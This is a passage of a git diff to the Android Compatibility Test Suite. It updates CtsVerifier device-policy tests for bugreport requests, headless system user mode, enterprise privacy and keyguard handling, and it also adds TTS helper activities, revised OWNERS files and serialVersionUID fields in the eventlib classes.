+        if (action != null) {
+            DevicePolicyManager dpm = null;
+            switch (action) {
+                case ACTION_CHECK_DEVICE_OWNER_FOR_REQUESTING_BUGREPORT:
+                    dpm = TestAppSystemServiceFactory.getDevicePolicyManager(this,
+                            DeviceAdminTestReceiver.class, /* forDeviceOwner= */ true);
+                    if (dpm.isDeviceOwnerApp(getPackageName())) {
+                        TestResult.setPassedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
+                                null, null);
+                    } else {
+                        TestResult.setFailedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
+                                getString(R.string.device_owner_incorrect_device_owner, myUserId()),
+                                null);
+                    }
+                    break;
+                case ACTION_CHECK_PROFILE_OWNER_FOR_REQUESTING_BUGREPORT:
+                    dpm = getSystemService(DevicePolicyManager.class);
+                    if (dpm.isProfileOwnerApp(getPackageName())) {
+                        TestResult.setPassedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
+                                null, null);
+                    } else {
+                        TestResult.setFailedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
+                                getString(R.string.device_owner_incorrect_profile_owner,
+                                        myUserId()),
+                                null);
+                    }
+                    break;
+                case ACTION_CHECK_CURRENT_USER_AFFILIATED_FOR_REQUESTING_BUGREPORT:
+                    dpm = getSystemService(DevicePolicyManager.class);
+                    if (dpm.isAffiliatedUser()) {
+                        TestResult.setPassedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
+                                null, null);
+                    } else {
+                        TestResult.setFailedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
+                                getString(R.string.device_owner_user_not_affiliated, myUserId()),
+                                null);
+                    }
+                    break;
+                default:
+                    Log.w(TAG, "invalid action on intent: " + action);
+                    validAction = false;
+                    break;
             }
-            finish();
-            return;
+            if (validAction) {
+                Log.d(TAG, "Finishing activity");
+                finish();
+                return;
+            }
         }
 
         // Tidy up in case previous run crashed.
@@ -103,28 +155,34 @@
         setTestListAdapter(adapter);
 
         View setDeviceOwnerButton = findViewById(R.id.set_device_owner_button);
-        setDeviceOwnerButton.setOnClickListener(new OnClickListener() {
-            @Override
-            public void onClick(View v) {
-                new AlertDialog.Builder(
-                        DeviceOwnerRequestingBugreportTestActivity.this)
+        setDeviceOwnerButton.setOnClickListener((v) -> new AlertDialog.Builder(
+                DeviceOwnerRequestingBugreportTestActivity.this)
                         .setIcon(android.R.drawable.ic_dialog_info)
                         .setTitle(R.string.set_device_owner_dialog_title)
-                        .setMessage(R.string.set_device_owner_dialog_text)
+                        .setMessage(UserManager.isHeadlessSystemUserMode()
+                                ? R.string.set_device_owner_headless_dialog_text
+                                : R.string.set_device_owner_dialog_text)
                         .setPositiveButton(android.R.string.ok, null)
-                        .show();
-            }
-        });
+                        .show());
     }
 
     @Override
     public void finish() {
-        // If this activity was started for checking device owner status, then no need to do any
-        // tear down.
-        if (!ACTION_CHECK_DEVICE_OWNER_FOR_REQUESTING_BUGREPORT.equals(getIntent().getAction())) {
-            // Pass and fail buttons are known to call finish() when clicked,
-            // and this is when we want to remove the device owner.
-            startActivity(createTearDownIntent());
+        String action = getIntent().getAction();
+        switch(action != null ? action : "") {
+            case ACTION_CHECK_DEVICE_OWNER_FOR_REQUESTING_BUGREPORT:
+            case ACTION_CHECK_PROFILE_OWNER_FOR_REQUESTING_BUGREPORT:
+            case ACTION_CHECK_CURRENT_USER_AFFILIATED_FOR_REQUESTING_BUGREPORT:
+                // If this activity was started for checking device / profile owner status, then no
+                // need to do any tear down.
+                Log.d(TAG, "NOT starting createTearDownIntent() due to " + action);
+                break;
+            default:
+                // Pass and fail buttons are known to call finish() when clicked,
+                // and this is when we want to remove the device owner.
+                Log.d(TAG, "Starting createTearDownIntent() due to " + action);
+                startActivity(createTearDownIntent());
+                break;
         }
         super.finish();
     }
@@ -134,6 +192,16 @@
                 R.string.device_owner_check_device_owner_test,
                 new Intent(ACTION_CHECK_DEVICE_OWNER_FOR_REQUESTING_BUGREPORT)
                         .putExtra(EXTRA_TEST_ID, getIntent().getStringExtra(EXTRA_TEST_ID))));
+        if (UserManager.isHeadlessSystemUserMode()) {
+            adapter.add(createTestItem(this, CHECK_PROFILE_OWNER_TEST_ID,
+                    R.string.device_owner_check_profile_owner_test,
+                    new Intent(ACTION_CHECK_PROFILE_OWNER_FOR_REQUESTING_BUGREPORT)
+                            .putExtra(EXTRA_TEST_ID, getIntent().getStringExtra(EXTRA_TEST_ID))));
+            adapter.add(createTestItem(this, CHECK_USER_AFFILIATED_TEST_ID,
+                    R.string.device_owner_check_user_affiliation_test,
+                    new Intent(ACTION_CHECK_CURRENT_USER_AFFILIATED_FOR_REQUESTING_BUGREPORT)
+                            .putExtra(EXTRA_TEST_ID, getIntent().getStringExtra(EXTRA_TEST_ID))));
+        }
 
         // bugreport sharing declined while running test
         adapter.add(createInteractiveTestItem(this, BUGREPORT_SHARING_DECLINED_WHILE_BEING_TAKEN,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
index 5e8a92f..577a6c8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
@@ -16,11 +16,11 @@
 
 package com.android.cts.verifier.managedprovisioning;
 
+import static com.android.cts.verifier.managedprovisioning.Utils.createInteractiveTestItem;
+
 import android.Manifest;
 import android.app.admin.DevicePolicyManager;
-import android.content.ComponentName;
 import android.content.Intent;
-import android.content.pm.PackageManager;
 import android.database.DataSetObserver;
 import android.os.Bundle;
 import android.provider.Settings;
@@ -31,8 +31,6 @@
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.TestListAdapter.TestListItem;
 
-import static com.android.cts.verifier.managedprovisioning.Utils.createInteractiveTestItem;
-
 /**
  * Test class to verify privacy information is shown for devices managed by a Device Owner.
  */
@@ -92,6 +90,12 @@
                 .putExtra(CommandReceiverActivity.EXTRA_COMMAND, command);
     }
 
+    private Intent buildCommandIntentForCurrentUser(String command) {
+        return buildCommandIntent(command)
+                .putExtra(CommandReceiverActivity.EXTRA_USE_CURRENT_USER_DPM, true);
+    }
+
+
     private TestListItem buildCommandTest(String id, int titleRes, int infoRes,
             int commandButtonRes, String command) {
         return createInteractiveTestItem(this, id, titleRes, infoRes,
@@ -105,12 +109,14 @@
             String permission) {
         return createInteractiveTestItem(this, id, titleRes, infoRes,
                 new ButtonInfo[] {
-                        new ButtonInfo(R.string.enterprise_privacy_reset, buildCommandIntent(
+                        new ButtonInfo(R.string.enterprise_privacy_reset,
+                                buildCommandIntentForCurrentUser(
                                 CommandReceiverActivity.COMMAND_SET_PERMISSION_GRANT_STATE)
                                 .putExtra(CommandReceiverActivity.EXTRA_PERMISSION, permission)
                                 .putExtra(CommandReceiverActivity.EXTRA_GRANT_STATE,
                                         DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT)),
-                        new ButtonInfo(R.string.enterprise_privacy_grant, buildCommandIntent(
+                        new ButtonInfo(R.string.enterprise_privacy_grant,
+                                buildCommandIntentForCurrentUser(
                                 CommandReceiverActivity.COMMAND_SET_PERMISSION_GRANT_STATE)
                                 .putExtra(CommandReceiverActivity.EXTRA_PERMISSION, permission)
                                 .putExtra(CommandReceiverActivity.EXTRA_GRANT_STATE,
@@ -182,11 +188,12 @@
                         new ButtonInfo(R.string.enterprise_privacy_open_settings,
                                 new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
                         new ButtonInfo(R.string.enterprise_privacy_set_keyboard,
-                                buildCommandIntent(CommandReceiverActivity
-                                        .COMMAND_SET_DEFAULT_IME)),
+                                buildCommandIntentForCurrentUser(
+                                        CommandReceiverActivity.COMMAND_SET_DEFAULT_IME)),
                         new ButtonInfo(R.string.enterprise_privacy_finish,
-                                buildCommandIntent(CommandReceiverActivity
-                                        .COMMAND_CLEAR_DEFAULT_IME))}));
+                                buildCommandIntentForCurrentUser(
+                                        CommandReceiverActivity.COMMAND_CLEAR_DEFAULT_IME))
+                }));
         adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_ALWAYS_ON_VPN,
                 R.string.enterprise_privacy_always_on_vpn,
                 R.string.enterprise_privacy_always_on_vpn_info,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
index 8be4564..14ab277 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
@@ -16,6 +16,7 @@
 
 package com.android.cts.verifier.managedprovisioning;
 
+import static com.android.cts.verifier.managedprovisioning.CommandReceiverActivity.createIntentForDisablingKeyguardOrStatusBar;
 import static com.android.cts.verifier.managedprovisioning.Utils.createInteractiveTestItem;
 
 import android.app.Activity;
@@ -24,8 +25,10 @@
 import android.content.pm.PackageManager;
 import android.database.DataSetObserver;
 import android.os.Bundle;
+import android.os.UserHandle;
 import android.os.UserManager;
 import android.provider.Settings;
+import android.util.Log;
 
 import com.android.cts.verifier.ArrayTestListAdapter;
 import com.android.cts.verifier.IntentDrivenTestActivity.ButtonInfo;
@@ -33,6 +36,7 @@
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.TestListAdapter.TestListItem;
 import com.android.cts.verifier.TestResult;
+import com.android.cts.verifier.features.FeatureUtil;
 
 /**
  * Activity that lists all positive managed user tests.
@@ -56,13 +60,15 @@
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
 
-        if (ACTION_CHECK_AFFILIATED_PROFILE_OWNER.equals(getIntent().getAction())) {
+        Intent intent = getIntent();
+        Log.d(TAG, "onCreate(" + UserHandle.myUserId() + "): intent=" + intent);
+        if (ACTION_CHECK_AFFILIATED_PROFILE_OWNER.equals(intent.getAction())) {
             DevicePolicyManager dpm = getSystemService(DevicePolicyManager.class);
             if (dpm.isProfileOwnerApp(getPackageName()) && dpm.isAffiliatedUser()) {
-                TestResult.setPassedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
+                TestResult.setPassedResult(this, intent.getStringExtra(EXTRA_TEST_ID),
                         null, null);
             } else {
-                TestResult.setFailedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
+                TestResult.setFailedResult(this, intent.getStringExtra(EXTRA_TEST_ID),
                         getString(R.string.managed_user_incorrect_managed_user), null);
             }
             finish();
@@ -97,8 +103,10 @@
             // Pass and fail buttons are known to call finish() when clicked,
             // and this is when we want to remove the managed owner.
             DevicePolicyManager dpm = getSystemService(DevicePolicyManager.class);
+            Log.i(TAG, "Calling logoutUser() on user " + UserHandle.myUserId());
             dpm.logoutUser(DeviceAdminTestReceiver.getReceiverComponentName());
         }
+        Log.i(TAG, "So long and thanks for all the finish()!");
         super.finish();
     }
 
@@ -124,31 +132,33 @@
                     new ButtonInfo[]{
                             new ButtonInfo(
                                     R.string.device_owner_disable_statusbar_button,
-                                    createManagedUserIntentWithBooleanParameter(
+                                    createIntentForDisablingKeyguardOrStatusBar(this,
                                             CommandReceiverActivity.COMMAND_SET_STATUSBAR_DISABLED,
-                                            true)),
+                                            /* disabled= */ true)),
                             new ButtonInfo(
                                     R.string.device_owner_reenable_statusbar_button,
-                                    createManagedUserIntentWithBooleanParameter(
+                                    createIntentForDisablingKeyguardOrStatusBar(this,
                                             CommandReceiverActivity.COMMAND_SET_STATUSBAR_DISABLED,
-                                            false))}));
+                                            /* disabled= */ false))}));
         }
 
         // setKeyguardDisabled
-        adapter.add(createInteractiveTestItem(this, DISABLE_KEYGUARD_TEST_ID,
-                R.string.device_owner_disable_keyguard_test,
-                R.string.device_owner_disable_keyguard_test_info,
-                new ButtonInfo[]{
-                        new ButtonInfo(
-                                R.string.device_owner_disable_keyguard_button,
-                                createManagedUserIntentWithBooleanParameter(
-                                        CommandReceiverActivity.COMMAND_SET_KEYGUARD_DISABLED,
-                                        true)),
-                        new ButtonInfo(
-                                R.string.device_owner_reenable_keyguard_button,
-                                createManagedUserIntentWithBooleanParameter(
-                                        CommandReceiverActivity.COMMAND_SET_KEYGUARD_DISABLED,
-                                        false))}));
+        if (FeatureUtil.isKeyguardShownWhenUserDoesntHaveCredentials(this)) {
+            adapter.add(createInteractiveTestItem(this, DISABLE_KEYGUARD_TEST_ID,
+                    R.string.device_owner_disable_keyguard_test,
+                    R.string.device_owner_disable_keyguard_test_info,
+                    new ButtonInfo[]{
+                            new ButtonInfo(
+                                    R.string.device_owner_disable_keyguard_button,
+                                    createIntentForDisablingKeyguardOrStatusBar(this,
+                                            CommandReceiverActivity.COMMAND_SET_KEYGUARD_DISABLED,
+                                            true)),
+                            new ButtonInfo(
+                                    R.string.device_owner_reenable_keyguard_button,
+                                    createIntentForDisablingKeyguardOrStatusBar(this,
+                                            CommandReceiverActivity.COMMAND_SET_KEYGUARD_DISABLED,
+                                            false))}));
+        }
 
         // DISALLOW_REMOVE_USER
         adapter.add(createInteractiveTestItem(this, DISALLOW_REMOVE_USER_TEST_ID,
@@ -185,12 +195,6 @@
         return TestListItem.newTest(activity, titleRes, id, intent, null);
     }
 
-    private Intent createManagedUserIntentWithBooleanParameter(String command, boolean value) {
-        return new Intent(this, CommandReceiverActivity.class)
-                .putExtra(CommandReceiverActivity.EXTRA_COMMAND, command)
-                .putExtra(CommandReceiverActivity.EXTRA_ENFORCED, value);
-    }
-
     private boolean isStatusBarEnabled() {
         // Watches don't support the status bar so this is an ok proxy, but this is not the most
         // general test for that. TODO: add a test API to do a real check for status bar support.
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/OWNERS
index f51c943..19b6194 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/OWNERS
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/OWNERS
@@ -1,6 +1,2 @@
 # Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204
-alexkershaw@google.com
-eranm@google.com
-rubinxu@google.com
-sandness@google.com
-pgrafov@google.com
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
index dceb747..26cfe57 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
@@ -327,7 +327,7 @@
             case UserManager.DISALLOW_SHARE_LOCATION:
                 return pm.hasSystemFeature(PackageManager.FEATURE_LOCATION);
             case UserManager.DISALLOW_INSTALL_UNKNOWN_SOURCES:
-                return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
+                return FeatureUtil.isInstallUnknownSourcesSupported(context);
             case UserManager.DISALLOW_CONFIG_CREDENTIALS:
                 return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
                         && hasSettingsActivity(context, ACTION_CREDENTIALS_INSTALL);
@@ -335,6 +335,10 @@
                 return FeatureUtil.isScreenTimeoutSupported(context);
             case UserManager.DISALLOW_CONFIG_LOCATION:
                 return FeatureUtil.isConfigLocationSupported(context);
+            case UserManager.DISALLOW_APPS_CONTROL:
+                return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
+            case UserManager.DISALLOW_UNINSTALL_APPS:
+                return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
             default:
                 return true;
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS
index f5cd322..40ff606 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS
@@ -2,7 +2,7 @@
 # Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204 = per-file LockConfirmBypassTest.java, SetNewPasswordComplexityTest.java
 # Bug template url: https://b.corp.google.com/issues/new?component=746324&template=1398789 = per-file: SecurityModeFeatureVerifierActivity.java
 # Bug component: 189335 = per-file FingerprintBoundKeysTest.java, IdentityCredentialAuthentication.java, ProtectedConfirmationTest.java, ScreenLockBoundKeysTest.java
-per-file CA*.java, Ca*.java, KeyChainTest.java = alexkershaw@google.com, eranm@google.com, rubinxu@google.com, sandness@google.com, pgrafov@google.com
-per-file LockConfirmBypassTest.java, SetNewPasswordComplexityTest.java, CredentialManagementAppActivity.java = alexkershaw@google.com, eranm@google.com, rubinxu@google.com, sandness@google.com, pgrafov@google.com
+per-file CA*.java, Ca*.java, KeyChainTest.java = file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatformSecurity_OWNERS
+per-file LockConfirmBypassTest.java, SetNewPasswordComplexityTest.java, CredentialManagementAppActivity.java = file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatformSecurity_OWNERS
 per-file FingerprintBoundKeysTest.java, IdentityCredentialAuthentication.java, ProtectedConfirmationTest.java, ScreenLockBoundKeysTest.java = swillden@google.com
 per-file SecurityModeFeatureVerifierActivity.java = jjoslin@google.com, tomcherry@google.com
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/SecurityModeFeatureVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/SecurityModeFeatureVerifierActivity.java
index d7e6ddb..43a8c18 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/security/SecurityModeFeatureVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/SecurityModeFeatureVerifierActivity.java
@@ -16,19 +16,19 @@
 
 package com.android.cts.verifier.security;
 
-import static android.os.Build.VERSION;
 import static android.os.Build.VERSION_CODES;
 
+import static com.android.compatibility.common.util.PropertyUtil.getFirstApiLevel;
+import static com.android.compatibility.common.util.PropertyUtil.getVendorApiLevel;
+
 import android.content.pm.PackageManager;
 import android.os.Bundle;
-import android.os.SystemProperties;
 import android.view.View;
 import android.view.View.OnClickListener;
 import android.widget.Button;
 import android.widget.ImageView;
 import android.widget.TextView;
 
-
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
@@ -60,9 +60,8 @@
         mHandheldOrTabletOkButton = (Button) findViewById(R.id.handheld_or_tablet_yes);
         mHandheldOrTabletNaButton = (Button) findViewById(R.id.handheld_or_tablet_not_applicable);
 
-        final int firstApiLevel =
-                SystemProperties.getInt("ro.product.first_api_level", VERSION.SDK_INT);
-        mDeviceLaunchedBeforeS = firstApiLevel < VERSION_CODES.S;
+        // Devices launched before S will always pass the test.
+        mDeviceLaunchedBeforeS = isLaunchedBeforeS();
 
         mFeatureAvailable = getPackageManager()
             .hasSystemFeature(PackageManager.FEATURE_SECURITY_MODEL_COMPATIBLE);
@@ -81,4 +80,8 @@
             }
         });
     }
+
+    private static boolean isLaunchedBeforeS() {
+        return Math.min(getFirstApiLevel(), getVendorApiLevel()) < VERSION_CODES.S;
+    }
 }
diff --git a/apps/TtsTestApp/AndroidManifest.xml b/apps/TtsTestApp/AndroidManifest.xml
index 5fdac07..26616fc 100644
--- a/apps/TtsTestApp/AndroidManifest.xml
+++ b/apps/TtsTestApp/AndroidManifest.xml
@@ -12,5 +12,25 @@
       <category android:name="android.intent.category.DEFAULT" />
     </intent-filter>
   </service>
+  <activity
+        android:name="CheckVoiceData"
+        android:directBootAware="true"
+        android:exported="true"
+        android:theme="@android:style/Theme.NoDisplay">
+      <intent-filter>
+        <action android:name="android.speech.tts.engine.CHECK_TTS_DATA"/>
+        <category android:name="android.intent.category.DEFAULT"/>
+      </intent-filter>
+    </activity>
+    <activity
+        android:name="GetSampleText"
+        android:directBootAware="true"
+        android:exported="true"
+        android:theme="@android:style/Theme.NoDisplay">
+      <intent-filter>
+        <action android:name="android.speech.tts.engine.GET_SAMPLE_TEXT"/>
+        <category android:name="android.intent.category.DEFAULT"/>
+      </intent-filter>
+    </activity>
 </application>
 </manifest>
diff --git a/apps/TtsTestApp/src/com/android/cts/tts/helper/CheckVoiceData.java b/apps/TtsTestApp/src/com/android/cts/tts/helper/CheckVoiceData.java
new file mode 100644
index 0000000..aa2367f
--- /dev/null
+++ b/apps/TtsTestApp/src/com/android/cts/tts/helper/CheckVoiceData.java
@@ -0,0 +1,52 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.tts.helper;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.speech.tts.TextToSpeech;
+
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.Set;
+
+/** Activity called by the framework to return the list the installable voices. */
+public class CheckVoiceData extends Activity {
+    @Override
+      protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        final Set<String> availableVoices = new HashSet<>();
+        availableVoices.add("eng-USA");
+        availableVoices.add("");
+
+        // Populate a test list of languages that are available at the server.
+        final Intent returnVal = new Intent();
+        ArrayList<String> availableVoicesList = new ArrayList<>(availableVoices);
+        returnVal.putStringArrayListExtra(
+                TextToSpeech.Engine.EXTRA_AVAILABLE_VOICES, availableVoicesList);
+
+        // Populate a test list of languages that are unavailable at the server.
+        ArrayList<String> unavailableVoicesList = new ArrayList<>();
+        unavailableVoicesList.add("");
+        returnVal.putStringArrayListExtra(
+                TextToSpeech.Engine.EXTRA_UNAVAILABLE_VOICES, unavailableVoicesList);
+
+        setResult(TextToSpeech.Engine.CHECK_VOICE_DATA_PASS, returnVal);
+        finish();
+    }
+}
diff --git a/apps/TtsTestApp/src/com/android/cts/tts/helper/GetSampleText.java b/apps/TtsTestApp/src/com/android/cts/tts/helper/GetSampleText.java
new file mode 100644
index 0000000..f5c1615
--- /dev/null
+++ b/apps/TtsTestApp/src/com/android/cts/tts/helper/GetSampleText.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.tts.helper;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.speech.tts.TextToSpeech;
+
+/**
+ * Activity called from Settings application to get a
+ * sample string for an example of synthesis.
+ */
+public class GetSampleText extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        final Intent resultIntent = new Intent();
+
+        resultIntent.putExtra("sampleText", "sample text");
+        setResult(TextToSpeech.LANG_AVAILABLE, resultIntent);
+        finish();
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Event.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Event.java
index 40afafb..32af32a 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Event.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Event.java
@@ -30,6 +30,8 @@
  */
 public abstract class Event implements Serializable {
 
+    private static final long serialVersionUID = 1;
+
     // This class should contain all standard data applicable to all Events.
 
     protected String mPackageName;
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogs.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogs.java
index 73ec6e4..6e985d6 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogs.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogs.java
@@ -28,6 +28,9 @@
 
 /** Interface to interact with the results of an {@link EventLogsQuery}. */
 public abstract class EventLogs<E extends Event> implements Serializable {
+
+    private static final long serialVersionUID = 1;
+
     static final Duration DEFAULT_POLL_TIMEOUT = Duration.ofMinutes(5);
 
     // We need to set this earlier than construction otherwise we will skip all events that happen
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/CustomEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/CustomEvent.java
index 4951e15..a31e997 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/CustomEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/CustomEvent.java
@@ -38,6 +38,8 @@
  */
 public final class CustomEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link CustomEvent} events. */
     public static CustomEventQuery queryPackage(String packageName) {
         return new CustomEventQuery(packageName);
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java
index 9563ac2..77b14e1 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java
@@ -39,6 +39,8 @@
  */
 public final class ActivityCreatedEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link ActivityCreatedEvent} events. */
     public static ActivityCreatedEventQuery queryPackage(String packageName) {
         return new ActivityCreatedEventQuery(packageName);
@@ -47,6 +49,9 @@
     /** {@link EventLogsQuery} for {@link ActivityCreatedEvent}. */
     public static final class ActivityCreatedEventQuery
             extends EventLogsQuery<ActivityCreatedEvent, ActivityCreatedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         ActivityQueryHelper<ActivityCreatedEventQuery> mActivity = new ActivityQueryHelper<>(this);
         BundleQueryHelper<ActivityCreatedEventQuery> mSavedInstanceState =
                 new BundleQueryHelper<>(this);
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityDestroyedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityDestroyedEvent.java
index 3d606e1..8f79655 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityDestroyedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityDestroyedEvent.java
@@ -32,6 +32,8 @@
  */
 public final class ActivityDestroyedEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link ActivityDestroyedEvent} events. */
     public static ActivityDestroyedEventQuery queryPackage(String packageName) {
         return new ActivityDestroyedEventQuery(packageName);
@@ -40,6 +42,9 @@
     /** {@link EventLogsQuery} for {@link ActivityDestroyedEvent}. */
     public static final class ActivityDestroyedEventQuery
             extends EventLogsQuery<ActivityDestroyedEvent, ActivityDestroyedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         ActivityQueryHelper<ActivityDestroyedEventQuery> mActivity =
                 new ActivityQueryHelper<>(this);
 
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityEventsImpl.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityEventsImpl.java
index 36a8c91..1baef2f 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityEventsImpl.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityEventsImpl.java
@@ -20,7 +20,6 @@
 
 /** Default implementation of {@link ActivityEvents}. */
 public final class ActivityEventsImpl implements ActivityEvents {
-
     private final NeneActivity mActivity;
 
     ActivityEventsImpl(NeneActivity activity) {
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityPausedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityPausedEvent.java
index 2708fc1..22b5afd 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityPausedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityPausedEvent.java
@@ -32,6 +32,8 @@
  */
 public final class ActivityPausedEvent extends Event {
 
+    private static final long serialVersionUID = 1;
+
     /** Begins a query for {@link ActivityPausedEvent} events. */
     public static ActivityPausedEventQuery queryPackage(String packageName) {
         return new ActivityPausedEventQuery(packageName);
@@ -40,6 +42,9 @@
     /** {@link EventLogsQuery} for {@link ActivityPausedEvent}. */
     public static final class ActivityPausedEventQuery
             extends EventLogsQuery<ActivityPausedEvent, ActivityPausedEventQuery> {
+
+        private static final long serialVersionUID = 1;
+
         ActivityQueryHelper<ActivityPausedEventQuery> mActivity =
                 new ActivityQueryHelper<>(this);
 
